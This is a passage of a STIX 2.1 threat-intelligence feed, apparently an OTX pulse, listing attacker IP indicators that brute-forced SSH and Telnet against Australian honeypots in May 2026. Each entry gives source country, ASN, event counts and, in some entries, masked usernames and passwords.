      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.211.162.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 3257. Organisation(s): GTT Communications Inc.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--398d0c6e-68f6-42d0-a9c0-55a9df17e656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.53.186.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NO. ASN(s): 2119. Organisation(s): Telenor Norge AS.",
      "id": "indicator--f392443f-098e-4941-b6fc-7a7a427d3a36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.88.214.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:15:11.000Z",
      "valid_until": "2026-06-21T03:15:09.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a338dd45-a93e-44a1-bdd5-539bb732b68e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.94.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2ce037e5-057f-42b7-bbfd-65c2047bc037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.100.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ee930c34-4bbf-47b7-95ef-a3bb24cba4bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.57.230.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*****x, 2**4, A*******4.",
      "id": "indicator--0a8ff6ee-b0a8-44ec-9bf8-fd3e24318946",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.221.17.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--25174558-57b8-46e5-a815-7a0ff4a18aa4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.148.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 14522. Organisation(s): SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC. Usernames observed (masked): r**t, c****e, 3**********4, ***, ***. Passwords observed (masked): 1**4, C*********!, 1****0, 1****!, 1****6.",
      "id": "indicator--fb8dbdc2-45e8-4842-8b07-1fe374c06528",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.68.83.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 192. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28191. Organisation(s): Jupiter Telecomunicacoes e Informatica Ltda. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******4, a****s, b***h.",
      "id": "indicator--5ef54844-763f-43dc-9914-0ef16b6c38e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.90.33.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--a362945e-9f37-46b0-8f13-3aa1c13b1611",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.101.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--59dc79df-9081-445e-aa26-0a40b6ff7e4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.146.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 2**4, A*******4, a****4.",
      "id": "indicator--eb2b4ad4-4057-4e6d-bc5e-1d7b8c05f742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.133.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--208ceb0b-cc75-4757-8286-8910529d8c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.188.183.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a223b206-1bfc-4c0f-ab8b-52209094c835",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.24.152.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:15:11.000Z",
      "valid_until": "2026-06-21T04:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 18103. Organisation(s): Neuviz Net. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*******c, 1****4, 1******2.",
      "id": "indicator--6536c1c5-c805-49a4-a049-e8ddd04c6e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.26.209.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1*******c, 1****4, 1******2.",
      "id": "indicator--7e213683-bf84-4af1-9204-f15c2876f639",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.28.9.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, !******(, !******r, 1**8.",
      "id": "indicator--1f72f2bb-bca6-449a-9c7e-59b4aaf5ad1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.184.228.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202051. Organisation(s): Netgrid Host Ltd. Usernames observed (masked): r**t, r****e, u****u, 3**********4, c****e. Passwords observed (masked): 1****6, !******r, 1******8, 1******4, 1******a.",
      "id": "indicator--8891c034-5436-4236-acb7-be6b53fecde9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.159.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--976a6507-74a7-466a-a5e8-37e147780199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.41.131.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a1bbdb31-08ea-480b-a4eb-63b44c21fcb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.208.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4e638927-09e8-4966-81cd-d63c06f1f199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.8.131.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--85de7e57-9c00-4f05-b4fb-e6c8ab751600",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--d8d25efe-e546-4a1a-b904-3e4726a81d71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--6387f640-b1fb-446d-8c49-797f730df425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 134489. Organisation(s): S. B Link Network.",
      "id": "indicator--94541588-1ef6-42d5-a302-b50bdefbd9ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.128.20.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--dd008c75-aad7-457b-b85a-b05776f9d3b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.227.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--e6dc689a-ee04-41be-9a55-8f8320e1983d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.70.110.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, !******(, !******r, 1**8.",
      "id": "indicator--70d1dc4e-78b6-4a5e-91d0-778724f5afbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.60.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): c****e, 3**********4. Passwords observed (masked): 3***********4, 3**********4, c****e.",
      "id": "indicator--4cabc37c-160f-416a-8cb1-700c3d5a9f84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.40.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1f57621f-046f-4b19-b182-128e63e3125a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.213.222.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:15:12.000Z",
      "valid_until": "2026-06-21T05:15:08.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0d04b524-ef33-4919-9000-310e36ef8a9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.74.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--a85b610c-ea9d-4f76-a3ff-29010dc405c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.104.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--1aa2333d-8489-4e53-b001-d6a65ff1a44b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.19.108.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--7847ede3-4860-4773-a962-ee66cf5e4d24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.234.209.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:16:06.000Z",
      "valid_until": "2026-06-21T06:15:09.000Z"
    },
    {
      "created": "2026-05-20T06:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a565cf09-493b-4dc2-a56d-45c3884a5d15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T06:16:06.000Z",
